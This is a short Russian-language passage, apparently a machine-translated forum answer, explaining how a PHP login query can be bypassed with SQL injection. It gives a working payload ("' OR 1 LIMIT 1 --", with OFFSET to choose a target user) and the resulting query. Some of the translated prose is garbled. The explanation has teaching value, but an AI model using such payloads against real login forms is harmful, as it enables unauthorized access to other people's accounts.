Но когда я пытаюсь ввести ' or '1' = '1'
Попробуйте это
$_POST['username'] = "' OR 1 LIMIT 1 --";
Вы можете даже использовать / добавить OFFSET
, чтобы выбрать пользователя, которого вы хотите(по строке).
SELECT id FROM users WHERE username = '' OR 1 LIMIT 1 --' and password = '$password'
Тогда (из-за LIMIT 1)
if($count == 1) {
Верно.--
- это начало встроенного комментария в SQL, поэтому остальная часть запроса игнорируется.Который имеет очевидные преимущества, поскольку мы можем сократить или просто запрос.Чем меньше условий, тем лучше, и мы хотим получить доступ к концу запроса для Предела и Смещения.
Это также иллюстрирует глупость поиска пароля.Если это было проверено в коде, это не будет входить в систему. Но потому что это не так, это будет, время атаки и тому подобное.